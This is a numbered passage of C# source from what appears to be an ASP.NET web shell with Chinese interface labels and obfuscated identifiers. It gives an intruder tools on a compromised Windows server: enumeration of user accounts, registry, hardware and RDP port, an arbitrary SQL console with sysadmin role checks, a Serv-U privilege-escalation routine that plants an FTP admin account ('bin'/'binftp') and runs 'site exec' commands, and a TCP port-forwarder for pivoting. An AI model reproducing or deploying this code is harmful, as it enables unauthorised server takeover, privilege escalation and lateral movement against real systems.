  973. try
  974. {
  975. WICxe();
  976. xWVQ.Visible=true;
  977. Bin_H2_Title.InnerText="用户(组)信息 >>";
  978. DirectoryEntry TWQ=new DirectoryEntry("WinNT://"+Environment.MachineName.ToString());
  979. foreach(DirectoryEntry child in TWQ.Children)
  980. {
  981. foreach(string name in child.Properties.PropertyNames)
  982. {
  983. PropertyValueCollection pvc=child.Properties[name];
  984. int c=pvc.Count;
  985. for(int i=0;i<c;i++)
  986. {
  987. if(name!="objectSid" && name!="Parameters" && name!="LoginHours")
  988. {
  989. string bg=OKM();
  990. TableRow tr=new TableRow();
  991. tr.Attributes["onmouseover"]="this.className='focus';";
  992. tr.CssClass=bg;
  993. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  994. TableCell td=new TableCell();
  995. td.Text=name;
  996. tr.Controls.Add(td);
  997. TableCell td1=new TableCell();
  998. td1.Text=pvc[i].ToString();
  999. tr.Controls.Add(td1);
  1000. VPa.Controls.Add(tr);
  1001. }
  1002. }
  1003. }
  1004. TableRow trn=new TableRow();
  1005. for(int x=1;x<3;x++)
  1006. {
  1007. TableCell tdn=new TableCell();
  1008. tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;";
  1009. trn.Controls.Add(tdn);
  1010. VPa.Controls.Add(trn);
  1011. }
  1012. }
  1013. }
  1014. catch(Exception error)
  1015. {
  1016. xseuB(error.Message);
  1017. }
  1018. }
  1019. public void iLVUT()
  1020. {
  1021. try
  1022. {
  1023. WICxe();
  1024. xWVQ.Visible=true;
  1025. Bin_H2_Title.InnerText="用户(组)信息 >>";
  1026. DataTable user=cCf("Win32_UserAccount");
  1027. for(int i=0;i<user.Rows.Count;i++)
  1028. {
  1029. for(int j=0;j<user.Columns.Count;j++)
  1030. {
  1031. string bg=OKM();
  1032. TableRow tr=new TableRow();
  1033. tr.Attributes["onmouseover"]="this.className='focus';";
  1034. tr.CssClass=bg;
  1035. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1036. TableCell td=new TableCell();
  1037. td.Text=user.Columns[j].ToString();
  1038. tr.Controls.Add(td);
  1039. TableCell td1=new TableCell();
  1040. td1.Text=user.Rows[i][j].ToString();
  1041. tr.Controls.Add(td1);
  1042. VPa.Controls.Add(tr);
  1043. }
  1044. TableRow trn=new TableRow();
  1045. for(int x=1;x<3;x++)
  1046. {
  1047. TableCell tdn=new TableCell();
  1048. tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;";
  1049. trn.Controls.Add(tdn);
  1050. VPa.Controls.Add(trn);
  1051. }
  1052. }
  1053. }
  1054. catch(Exception error)
  1055. {
  1056. PLd();
  1057. }
  1058. }
  1059. public void pDVM()
  1060. {
  1061. try
  1062. {
  1063. RegistryKey EeZ=Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp");
  1064. string IKjwH=DdmPl(EeZ,"PortNumber");
  1065. RegistryKey izN=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor");
  1066. int cpu=izN.SubKeyCount;
  1067. RegistryKey mQII=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor\0");
  1068. string NPPZ=DdmPl(mQII,"ProcessorNameString");
  1069. WICxe();
  1070. ghaB.Visible=true;
  1071. Bin_H2_Title.InnerText="系统信息 >>";
  1072. Bin_H2_Mac.InnerText="网卡信息 >>";
  1073. Bin_H2_Driver.InnerText="驱动信息 >>";
  1074. StringBuilder yEwc=new StringBuilder();
  1075. StringBuilder hwJeS=new StringBuilder();
  1076. StringBuilder jXkaE=new StringBuilder();
  1077. yEwc.Append("<li><u>Server Domain : </u>"+Request.ServerVariables["SERVER_NAME"]+"</li>");
  1078. yEwc.Append("<li><u>Server Ip : </u>"+Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"</li>");
  1079. yEwc.Append("<li><u>Terminal Port : </u>"+IKjwH+"</li>");
  1080. yEwc.Append("<li><u>Server OS : </u>"+Environment.OSVersion+"</li>");
  1081. yEwc.Append("<li><u>Server Software : </u>"+Request.ServerVariables["SERVER_SOFTWARE"]+"</li>");
  1082. yEwc.Append("<li><u>Server UserName : </u>"+Environment.UserName+"</li>");
  1083. yEwc.Append("<li><u>Server Time : </u>"+System.DateTime.Now.ToString()+"</li>");
  1084. yEwc.Append("<li><u>Server TimeZone : </u>"+cCf("Win32_TimeZone").Rows[0]["Caption"]+"</li>");
  1085. DataTable BIOS=cCf("Win32_BIOS");
  1086. yEwc.Append("<li><u>Server BIOS : </u>"+BIOS.Rows[0]["Manufacturer"]+" : "+BIOS.Rows[0]["Name"]+"</li>");
  1087. yEwc.Append("<li><u>CPU Count : </u>"+cpu.ToString()+"</li>");
  1088. yEwc.Append("<li><u>CPU Version : </u>"+NPPZ+"</li>");
  1089. DataTable upM=cCf("Win32_PhysicalMemory");
  1090. Int64 oZnZV=0;
  1091. for(int i=0;i<upM.Rows.Count;i++)
  1092. {
  1093. oZnZV+=Int64.Parse(upM.Rows[0]["Capacity"].ToString());
  1094. }
  1095. yEwc.Append("<li><u>Server upM : </u>"+mTG(oZnZV)+"</li>");
  1096. DataTable dOza=cCf("Win32_NetworkAdapterConfiguration");
  1097. for(int i=0;i<dOza.Rows.Count;i++)
  1098. {
  1099. hwJeS.Append("<li><u>Server MAC"+i+" : </u>"+dOza.Rows[i]["Caption"]+"</li>");
  1100. if(dOza.Rows[i]["MACAddress"]!=string.Empty)
  1101. {
  1102. hwJeS.Append("<li style="list-style:none;"><u>Address : </u>"+dOza.Rows[i]["MACAddress"]+"</li>");
  1103. }
  1104. }
  1105. DataTable Driver=cCf("Win32_SystemDriver");
  1106. for (int i=0; i<Driver.Rows.Count; i++)
  1107. {
  1108. jXkaE.Append("<li><u class='u1'>Server Driver"+i+" : </u><u class='u2'>"+Driver.Rows[i]["Caption"]+"</u> ");
  1109. if (Driver.Rows[i]["PathName"]!=string.Empty)
  1110. {
  1111. jXkaE.Append("Path : "+Driver.Rows[i]["PathName"]);
  1112. }
  1113. else
  1114. {
  1115. jXkaE.Append("No path information");
  1116. }
  1117. jXkaE.Append("</li>");
  1118. }
  1119. Bin_Ul_Sys.InnerHtml=yEwc.ToString();
  1120. Bin_Ul_NetConfig.InnerHtml=hwJeS.ToString();
  1121. Bin_Ul_Driver.InnerHtml=jXkaE.ToString();
  1122. }
  1123. catch(Exception error)
  1124. {
  1125. xseuB(error.Message);
  1126. }
  1127. }
  1128. public void ADCpk()
  1129. {
  1130. WICxe();
  1131. APl.Visible=true;
  1132. Bin_H2_Title.InnerText="Serv-U 提权 >>";
  1133. }
  1134. public void lDODR()
  1135. {
  1136. string JGGg=string.Empty;
  1137. string user=dNohJ.Value;
  1138. string pass=NMd.Value;
  1139. int port=Int32.Parse(HlQl.Value);
  1140. string cmd=mHbjB.Value;
  1141. string CRtK="user "+user+"\r\n";
  1142. string jnNG="pass "+pass+"\r\n";
  1143. string site="SITE MAINTENANCE\r\n";
  1144. string mtoJb="-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=52521\r\n";
  1145. string sutI="-SETDOMAIN\r\n-Domain=BIN|0.0.0.0|52521|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n";
  1146. string iVDT="-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=52521\r\n-User=bin\r\n-Password=binftp\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n";
  1147. string zexn="QUIT\r\n";
  1148. UHlA.Visible=true;
  1149. try
  1150. {
  1151. tcp.Connect("127.0.0.1",port);
  1152. tcp.ReceiveBufferSize=1024;
  1153. NS=tcp.GetStream();
  1154. Rev(NS);
  1155. ZJiM(NS,CRtK);
  1156. Rev(NS);
  1157. ZJiM(NS,jnNG);
  1158. Rev(NS);
  1159. ZJiM(NS,site);
  1160. Rev(NS);
  1161. ZJiM(NS,mtoJb);
  1162. Rev(NS);
  1163. ZJiM(NS,sutI);
  1164. Rev(NS);
  1165. ZJiM(NS,iVDT);
  1166. Rev(NS);
  1167. Bin_Td_Res.InnerHtml+="<font color="green"><b>Exec Cmd.................\r\n</b></font>";
  1168. zvxm.Connect(Request.ServerVariables["LOCAL_ADDR"],52521);
  1169. NS1=zvxm.GetStream();
  1170. Rev(NS1);
  1171. ZJiM(NS1,"user bin\r\n");
  1172. Rev(NS1);
  1173. ZJiM(NS1,"pass binftp\r\n");
  1174. Rev(NS1);
  1175. ZJiM(NS1,"site exec "+cmd+"\r\n");
  1176. Rev(NS1);
  1177. ZJiM(NS1,"quit\r\n");
  1178. Rev(NS1);
  1179. zvxm.Close();
  1180. ZJiM(NS,mtoJb);
  1181. Rev(NS);
  1182. tcp.Close();
  1183. }
  1184. catch(Exception error)
  1185. {
  1186. xseuB(error.Message);
  1187. }
  1188. }
  1189. protected void Rev(NetworkStream instream)
  1190. {
  1191. string FTBtf=string.Empty;
  1192. if(instream.CanRead)
  1193. {
  1194. byte[] uPZ=new byte[1024];
  1195. do
  1196. {
  1197. System.Threading.Thread.Sleep(50);
  1198. int len=instream.Read(uPZ,0,uPZ.Length);
  1199. FTBtf+=Encoding.Default.GetString(uPZ,0,len);
  1200. }
  1201. while(instream.DataAvailable);
  1202. }
  1203. Bin_Td_Res.InnerHtml+="<font color=red>"+FTBtf.Replace("\0","")+"</font>";
  1204. }
  1205. protected void ZJiM(NetworkStream instream,string Sendstr)
  1206. {
  1207. if(instream.CanWrite)
  1208. {
  1209. byte[] uPZ=Encoding.Default.GetBytes(Sendstr);
  1210. instream.Write(uPZ,0,uPZ.Length);
  1211. }
  1212. Bin_Td_Res.InnerHtml+="<font color=blue>"+Sendstr+"</font>";
  1213. }
  1214. public void xFhz()
  1215. {
  1216. WICxe();
  1217. kkHN.Visible=true;
  1218. Bin_H2_Title.InnerText="注册表查询 >>";
  1219. string txc=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
  1220. vyX.Text="";
  1221. foreach(string rootkey in txc.Split('|'))
  1222. {
  1223. vyX.Text+="<a href="javascript:Bin_PostBack('Bin_Regread','"+MVVJ(rootkey)+"')">"+rootkey+"</a> | ";
  1224. }
  1225. lFAvw();
  1226. }
  1227. protected void lFAvw()
  1228. {
  1229. qPdI.Text="";
  1230. string txc=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
  1231. TableRow tr;
  1232. TableCell tc;
  1233. foreach(string rootkey in txc.Split('|'))
  1234. {
  1235. tr=new TableRow();
  1236. tc=new TableCell();
  1237. string bg=OKM();
  1238. tr.Attributes["onmouseover"]="this.className='focus';";
  1239. tr.CssClass=bg;
  1240. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1241. tc.Width=Unit.Parse("40%");
  1242. tc.Text="<a href="javascript:Bin_PostBack('Bin_Regread','"+MVVJ(rootkey)+"')">"+rootkey+"</a>";
  1243. tr.Cells.Add(tc);
  1244. tc=new TableCell();
  1245. tc.Width=Unit.Parse("60%");
  1246. tc.Text="<RootKey>";
  1247. tr.Cells.Add(tc);
  1248. pLWD.Rows.Add(tr);
  1249. }
  1250. }
  1251. protected void tpRQ(string Reg_Path)
  1252. {
  1253. if(!Reg_Path.EndsWith("\"))
  1254. {
  1255. Reg_Path=Reg_Path+"\";
  1256. }
  1257. qPdI.Text=Reg_Path;
  1258. string cJG=Regex.Replace(Reg_Path,@"\\[^\\]+\\?$","");
  1259. cJG=Regex.Replace(cJG,@"\\+","\");
  1260. TableRow tr=new TableRow();
  1261. TableCell tc=new TableCell();
  1262. string bg=OKM();
  1263. tr.Attributes["onmouseover"]="this.className='focus';";
  1264. tr.CssClass=bg;
  1265. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1266. tc.Text="<a href="javascript:Bin_PostBack('Bin_Regread','"+MVVJ(cJG)+"')">Parent Key</a>";
  1267. tc.Attributes["colspan"]="2" ;
  1268. tr.Cells.Add(tc);
  1269. pLWD.Rows.Add(tr);
  1270. try
  1271. {
  1272. string subpath;
  1273. string kDgkX=Reg_Path.Substring(Reg_Path.IndexOf("\")+1,Reg_Path.Length-Reg_Path.IndexOf("\")-1);
  1274. RegistryKey rk=null;
  1275. RegistryKey sk;
  1276. if(Reg_Path.StartsWith("HKEY_LOCAL_MACHINE"))
  1277. {
  1278. rk=Registry.LocalMachine;
  1279. }
  1280. else if(Reg_Path.StartsWith("HKEY_CLASSES_ROOT"))
  1281. {
  1282. rk=Registry.ClassesRoot;
  1283. }
  1284. else if(Reg_Path.StartsWith("HKEY_CURRENT_USER"))
  1285. {
  1286. rk=Registry.CurrentUser;
  1287. }
  1288. else if(Reg_Path.StartsWith("HKEY_USERS"))
  1289. {
  1290. rk=Registry.Users;
  1291. }
  1292. else if(Reg_Path.StartsWith("HKEY_CURRENT_CONFIG"))
  1293. {
  1294. rk=Registry.CurrentConfig;
  1295. }
  1296. if(kDgkX.Length>1)
  1297. {
  1298. sk=rk.OpenSubKey(kDgkX);
  1299. }
  1300. else
  1301. {
  1302. sk=rk;
  1303. }
  1304. foreach(string innerSubKey in sk.GetSubKeyNames())
  1305. {
  1306. tr=new TableRow();
  1307. tc=new TableCell();
  1308. bg=OKM();
  1309. tr.Attributes["onmouseover"]="this.className='focus';";
  1310. tr.CssClass=bg;
  1311. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1312. tc.Width=Unit.Parse("40%");
  1313. tc.Text="<a href="javascript:Bin_PostBack('Bin_Regread','"+MVVJ(Reg_Path+innerSubKey)+"')">"+innerSubKey+"</a>";
  1314. tr.Cells.Add(tc);
  1315. tc=new TableCell();
  1316. tc.Width=Unit.Parse("60%");
  1317. tc.Text="<SubKey>";
  1318. tr.Cells.Add(tc);
  1319. pLWD.Rows.Add(tr);
  1320. }
  1321. TableRow cKVA=new TableRow();
  1322. cKVA.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
  1323. cKVA.Attributes["bgcolor"]="#dddddd";
  1324. TableCell JlmW=new TableCell();
  1325. JlmW.Attributes["colspan"]="2" ;
  1326. JlmW.Attributes["height"]="5";
  1327. cKVA.Cells.Add(JlmW);
  1328. pLWD.Rows.Add(cKVA);
  1329. foreach(string strValueName in sk.GetValueNames())
  1330. {
  1331. tr=new TableRow();
  1332. tc=new TableCell();
  1333. bg=OKM();
  1334. tr.Attributes["onmouseover"]="this.className='focus';";
  1335. tr.CssClass=bg;
  1336. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1337. tc.Width=Unit.Parse("40%");
  1338. tc.Text=strValueName;
  1339. tr.Cells.Add(tc);
  1340. tc=new TableCell();
  1341. tc.Width=Unit.Parse("60%");
  1342. tc.Text=DdmPl(sk,strValueName);
  1343. tr.Cells.Add(tc);
  1344. pLWD.Rows.Add(tr);
  1345. }
  1346. }
  1347. catch(Exception error)
  1348. {
  1349. xseuB(error.Message);
  1350. }
  1351. }
  1352. public string DdmPl(RegistryKey sk,string strValueName)
  1353. {
  1354. object uPZ;
  1355. string RaTGr="";
  1356. try
  1357. {
  1358. uPZ=sk.GetValue(strValueName,"NULL");
  1359. if(uPZ.GetType()==typeof(byte[]))
  1360. {
  1361. foreach(byte tmpbyte in(byte[])uPZ)
  1362. {
  1363. if((int)tmpbyte<16)
  1364. {
  1365. RaTGr+="0";
  1366. }
  1367. RaTGr+=tmpbyte.ToString("X");
  1368. }
  1369. }
  1370. else if(uPZ.GetType()==typeof(string[]))
  1371. {
  1372. foreach(string tmpstr in(string[])uPZ)
  1373. {
  1374. RaTGr+=tmpstr;
  1375. }
  1376. }
  1377. else
  1378. {
  1379. RaTGr=uPZ.ToString();
  1380. }
  1381. }
  1382. catch(Exception error)
  1383. {
  1384. xseuB(error.Message);
  1385. }
  1386. return RaTGr;
  1387. }
  1388. public void vNCHZ()
  1389. {
  1390. WICxe();
  1391. YwLB.Visible=true;
  1392. Bin_H2_Title.InnerText="端口扫描 >>";
  1393. }
  1394. public void rAhe()
  1395. {
  1396. WICxe();
  1397. iDgmL.Visible=true;
  1398. dQIIF.Visible=false;
  1399. Bin_H2_Title.InnerText="数据库 >>";
  1400. }
  1401. protected void OUj()
  1402. {
  1403. if(Dtdr.State==ConnectionState.Closed)
  1404. {
  1405. try
  1406. {
  1407. Dtdr.ConnectionString=MasR.Text;
  1408. Kkvb.Connection=Dtdr;
  1409. Dtdr.Open();
  1410. }
  1411. catch(Exception Error)
  1412. {
  1413. xseuB(Error.Message);
  1414. }
  1415. }
  1416. }
  1417. protected void fUzE()
  1418. {
  1419. if(Dtdr.State==ConnectionState.Open)
  1420. Dtdr.Close();
  1421. Dtdr.Dispose();
  1422. Kkvb.Dispose();
  1423. }
  1424. public DataTable CYUe(string sqlstr)
  1425. {
  1426. OleDbDataAdapter da=new OleDbDataAdapter();
  1427. DataTable Dstog=new DataTable();
  1428. try
  1429. {
  1430. OUj();
  1431. Kkvb.CommandType=CommandType.Text;
  1432. Kkvb.CommandText=sqlstr;
  1433. da.SelectCommand=Kkvb;
  1434. da.Fill(Dstog);
  1435. }
  1436. catch(Exception)
  1437. {
  1438. }
  1439. finally
  1440. {
  1441. fUzE();
  1442. }
  1443. return Dstog;
  1444. }
  1445. public DataTable[] Bin_Data(string query)
  1446. {
  1447. ArrayList list=new ArrayList();
  1448. try
  1449. {
  1450. string str;
  1451. OUj();
  1452. query=query+"\r\n";
  1453. MatchCollection gcod=new Regex("[\r\n][gG][oO][\r\n]").Matches(query);
  1454. int EmRX=0;
  1455. for(int i=0;i<gcod.Count;i++)
  1456. {
  1457. Match FJD=gcod[i];
  1458. str=query.Substring(EmRX,FJD.Index-EmRX);
  1459. if(str.Trim().Length>0)
  1460. {
  1461. OleDbDataAdapter FgzeQ=new OleDbDataAdapter();
  1462. Kkvb.CommandType=CommandType.Text;
  1463. Kkvb.CommandText=str.Trim();
  1464. FgzeQ.SelectCommand=Kkvb;
  1465. DataSet cDPp=new DataSet();
  1466. FgzeQ.Fill(cDPp);
  1467. for(int j=0;j<cDPp.Tables.Count;j++)
  1468. {
  1469. list.Add(cDPp.Tables[j]);
  1470. }
  1471. }
  1472. EmRX=FJD.Index+3;
  1473. }
  1474. str=query.Substring(EmRX,query.Length-EmRX);
  1475. if(str.Trim().Length>0)
  1476. {
  1477. OleDbDataAdapter VwB=new OleDbDataAdapter();
  1478. Kkvb.CommandType=CommandType.Text;
  1479. Kkvb.CommandText=str.Trim();
  1480. VwB.SelectCommand=Kkvb;
  1481. DataSet arG=new DataSet();
  1482. VwB.Fill(arG);
  1483. for(int k=0;k<arG.Tables.Count;k++)
  1484. {
  1485. list.Add(arG.Tables[k]);
  1486. }
  1487. }
  1488. }
  1489. catch(SqlException e)
  1490. {
  1491. xseuB(e.Message);
  1492. rom.Visible=false;
  1493. }
  1494. return(DataTable[])list.ToArray(typeof(DataTable));
  1495. }
  1496. public void JIAKU(string instr)
  1497. {
  1498. try
  1499. {
  1500. OUj();
  1501. Kkvb.CommandType=CommandType.Text;
  1502. Kkvb.CommandText=instr;
  1503. Kkvb.ExecuteNonQuery();
  1504. }
  1505. catch(Exception e)
  1506. {
  1507. xseuB(e.Message);
  1508. }
  1509. }
  1510. public void dwgT()
  1511. {
  1512. try
  1513. {
  1514. OUj();
  1515. if(WYmo.SelectedItem.Text=="MSSQL")
  1516. {
  1517. if(Pvf.SelectedItem.Value!="")
  1518. {
  1519. Dtdr.ChangeDatabase(Pvf.SelectedItem.Value.ToString());
  1520. }
  1521. }
  1522. DataTable[] jxF=null;
  1523. jxF=Bin_Data(jHIy.InnerText);
  1524. if(jxF!=null && jxF.Length>0)
  1525. {
  1526. for(int j=0;j<jxF.Length;j++)
  1527. {
  1528. rom.PreRender+=new EventHandler(lRavM);
  1529. rom.DataSource=jxF[j];
  1530. rom.DataBind();
  1531. for(int i=0;i<rom.Items.Count;i++)
  1532. {
  1533. string bg=OKM();
  1534. rom.Items[i].CssClass=bg;
  1535. rom.Items[i].Attributes["onmouseover"]="this.className='focus';";
  1536. rom.Items[i].Attributes["onmouseout"]="this.className='"+bg+"';";
  1537. }
  1538. }
  1539. }
  1540. else
  1541. {
  1542. rom.DataSource=null;
  1543. rom.DataBind();
  1544. }
  1545. rom.Visible=true;
  1546. }
  1547. catch(Exception e)
  1548. {
  1549. xseuB(e.Message);
  1550. rom.Visible=false;
  1551. }
  1552. }
  1553. public void xTZY()
  1554. {
  1555. try
  1556. {
  1557. if(WYmo.SelectedItem.Text=="MSSQL")
  1558. {
  1559. if(Pvf.SelectedItem.Value=="")
  1560. {
  1561. rom.DataSource=null;
  1562. rom.DataBind();
  1563. return;
  1564. }
  1565. }
  1566. OUj();
  1567. DataTable zKvOw=new DataTable();
  1568. DataTable jxF=new DataTable();
  1569. DataTable baVJV=new DataTable();
  1570. if(WYmo.SelectedItem.Text=="MSSQL" && Pvf.SelectedItem.Value!="")
  1571. {
  1572. Dtdr.ChangeDatabase(Pvf.SelectedItem.Text);
  1573. }
  1574. zKvOw=Dtdr.GetOleDbSchemaTable(OleDbSchemaGuid.Tables,new Object[] { null,null,null,"SYSTEM TABLE" });
  1575. jxF=Dtdr.GetOleDbSchemaTable(OleDbSchemaGuid.Tables,new Object[] { null,null,null,"TABLE" });
  1576. foreach(DataRow dr in zKvOw.Rows)
  1577. {
  1578. jxF.ImportRow(dr);
  1579. }
  1580. jxF.Columns.Remove("TABLE_CATALOG");jxF.Columns.Remove("TABLE_SCHEMA");jxF.Columns.Remove("DESCRIPTION");jxF.Columns.Remove("TABLE_PROPID");
  1581. rom.PreRender+=new EventHandler(lRavM);
  1582. rom.DataSource=jxF;
  1583. rom.DataBind();
  1584. for(int i=0;i<rom.Items.Count;i++)
  1585. {
  1586. string bg=OKM();
  1587. rom.Items[i].CssClass=bg;
  1588. rom.Items[i].Attributes["onmouseover"]="this.className='focus';";
  1589. rom.Items[i].Attributes["onmouseout"]="this.className='"+bg+"';";
  1590. }
  1591. rom.Visible=true;
  1592. }
  1593. catch(Exception e)
  1594. {
  1595. xseuB(e.Message);
  1596. rom.Visible=false;
  1597. }
  1598. }
  1599. private void lRavM(object sender,EventArgs e)
  1600. {
  1601. DataGrid d=(DataGrid)sender;
  1602. foreach(DataGridItem item in d.Items)
  1603. {
  1604. foreach(TableCell t in item.Cells)
  1605. {
  1606. t.Text=t.Text.Replace("<","<").Replace(">",">");
  1607. }
  1608. }
  1609. }
  1610. public void vCf()
  1611. {
  1612. dQIIF.Visible=true;
  1613. try
  1614. {
  1615. jHIy.InnerHtml=string.Empty;
  1616. if(WYmo.SelectedItem.Text=="MSSQL")
  1617. {
  1618. rom.Visible=false;
  1619. uXevN.Visible=true;
  1620. irTU.Visible=true;
  1621. OUj();
  1622. DataTable ver=CYUe(@"SELECT @@VERSION");
  1623. DataTable dbs=CYUe(@"SELECT name FROM master.dbo.sysdatabases");
  1624. DataTable cdb=CYUe(@"SELECT DB_NAME()");
  1625. DataTable rol=CYUe(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
  1626. DataTable YKrm=CYUe(@"SELECT IS_MEMBER('db_owner')");
  1627. string jHlh=ver.Rows[0][0].ToString();
  1628. string dbo=string.Empty;
  1629. if(YKrm.Rows[0][0].ToString()=="1")
  1630. {
  1631. dbo="db_owner";
  1632. }
  1633. else
  1634. {
  1635. dbo="public";
  1636. }
  1637. if(rol.Rows[0][0].ToString()=="1")
  1638. {
  1639. dbo="<font color=blue>sa</font>";
  1640. }
  1641. string db_name=string.Empty;
  1642. foreach(ListItem item in FGEy.Items)
  1643. {
  1644. if(item.Selected=true)
  1645. {
  1646. item.Selected=false;
  1647. }
  1648. }
  1649. Pvf.Items.Clear();
  1650. Pvf.Items.Add("-- Select a DataBase --");
  1651. Pvf.Items[0].Value="";
  1652. for(int i=0;i<dbs.Rows.Count;i++)
  1653. {
  1654. db_name+=dbs.Rows[i][0].ToString().Replace(cdb.Rows[0][0].ToString(),"<font color=blue>"+cdb.Rows[0][0].ToString()+"</font>")+" | ";
  1655. Pvf.Items.Add(dbs.Rows[i][0].ToString());
  1656. }
  1657. irTU.InnerHtml="<p><font color=red>MSSQL Version</font> : <i><b>"+jHlh+"</b></i></p><p><font color=red>SrvRoleMember</font> : <i><b>"+dbo+"</b></i></p>";
  1658. }
  1659. else
  1660. {
  1661. uXevN.Visible=false;
  1662. irTU.Visible=false;
  1663. xTZY();
  1664. }
  1665. }
  1666. catch(Exception e)
  1667. {
  1668. dQIIF.Visible=false;
  1669. }
  1670. }
  1671. public void MHLv()
  1672. {
  1673. WICxe();
  1674. hOWTm.Visible=true;
  1675. Bin_H2_Title.InnerText="端口映射 >>";
  1676. }
  1677. public class PortForward
  1678. {
  1679. public string Localaddress;
  1680. public int LocalPort;
  1681. public string RemoteAddress;
  1682. public int RemotePort;
  1683. string type;
  1684. Socket ltcpClient;
  1685. Socket rtcpClient;
  1686. Socket server;
  1687. byte[] DPrPL=new byte[2048];
  1688. byte[] wvZv=new byte[2048];
  1689. public struct session
  1690. {
  1691. public Socket rdel;
  1692. public Socket ldel;
  1693. public int llen;
  1694. public int rlen;
  1695. }
  1696. public static IPEndPoint mtJ(string host,int port)
  1697. {
  1698. IPEndPoint iep=null;
  1699. IPHostEntry aGN=Dns.Resolve(host);
  1700. IPAddress rmt=aGN.AddressList[0];
  1701. iep=new IPEndPoint(rmt,port);
  1702. return iep;
  1703. }
  1704. public void Start(string Rip,int Rport,string lip,int lport)
  1705. {
  1706. try
  1707. {
  1708. LocalPort=lport;
  1709. RemoteAddress=Rip;
  1710. RemotePort=Rport;
  1711. Localaddress=lip;
  1712. rtcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
  1713. ltcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
  1714. rtcpClient.BeginConnect(mtJ(RemoteAddress,RemotePort),new AsyncCallback(iiGFO),rtcpClient);
  1715. }
  1716. catch (Exception ex) { }
  1717. }
  1718. protected void iiGFO(IAsyncResult ar)
  1719. {
  1720. try
  1721. {
  1722. session RKXy=new session();
  1723. RKXy.ldel=ltcpClient;
  1724. RKXy.rdel=rtcpClient;
  1725. ltcpClient.BeginConnect(mtJ(Localaddress,LocalPort),new AsyncCallback(VTp),RKXy);
  1726. }
  1727. catch (Exception ex) { }
  1728. }
  1729. protected void VTp(IAsyncResult ar)
  1730. {
  1731. try
  1732. {
  1733. session RKXy=(session)ar.AsyncState;
  1734. ltcpClient.EndConnect(ar);
  1735. RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(LFYM),RKXy);
  1736. RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(xPS),RKXy);
  1737. }
  1738. catch (Exception ex) { }
  1739. }
  1740. private void LFYM(IAsyncResult ar)
  1741. {
  1742. try
  1743. {
  1744. session RKXy=(session)ar.AsyncState;
  1745. int Ret=RKXy.rdel.EndReceive(ar);
  1746. if (Ret>0)
  1747. ltcpClient.BeginSend(DPrPL,0,Ret,SocketFlags.None,new AsyncCallback(JTcp),RKXy);
  1748. else lyTOK();
  1749. }
  1750. catch (Exception ex) { }
  1751. }
  1752. private void JTcp(IAsyncResult ar)
  1753. {
  1754. try
  1755. {
  1756. session RKXy=(session)ar.AsyncState;
  1757. RKXy.ldel.EndSend(ar);
  1758. RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(this.LFYM),RKXy);
  1759. }
  1760. catch (Exception ex) { }
  1761. }
  1762. private void xPS(IAsyncResult ar)
  1763. {
  1764. try
  1765. {
  1766. session RKXy=(session)ar.AsyncState;
  1767. int Ret=RKXy.ldel.EndReceive(ar);
  1768. if (Ret>0)
  1769. RKXy.rdel.BeginSend(wvZv,0,Ret,SocketFlags.None,new AsyncCallback(IZU),RKXy);
  1770. else lyTOK();
  1771. }
  1772. catch (Exception ex) { }
  1773. }
  1774. private void IZU(IAsyncResult ar)
  1775. {
  1776. try
  1777. {
  1778. session RKXy=(session)ar.AsyncState;
  1779. RKXy.rdel.EndSend(ar);
  1780. RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(this.xPS),RKXy);
  1781. }
  1782. catch (Exception ex) { }
  1783. }
  1784. public void lyTOK()
  1785. {
  1786. try
  1787. {
  1788. if (ltcpClient!=null)
  1789. {
  1790. ltcpClient.Close();
  1791. }
  1792. if (rtcpClient!=null)
  1793. rtcpClient.Close();
  1794. }
  1795. catch (Exception ex) { }
  1796. }
  1797. }
  1798. protected void vuou()
  1799. {
  1800. PortForward gYP=new PortForward();
  1801. gYP.lyTOK();
  1802. }
  1803. protected void ruQO()
  1804. {
  1805. PortForward gYP=new PortForward();
  1806. gYP.Start(llH.Value,int.Parse(ZHS.Value),eEpm.Value,int.Parse(iXdh.Value));
  1807. }
  1808. public string mRDl(string instr)
  1809. {
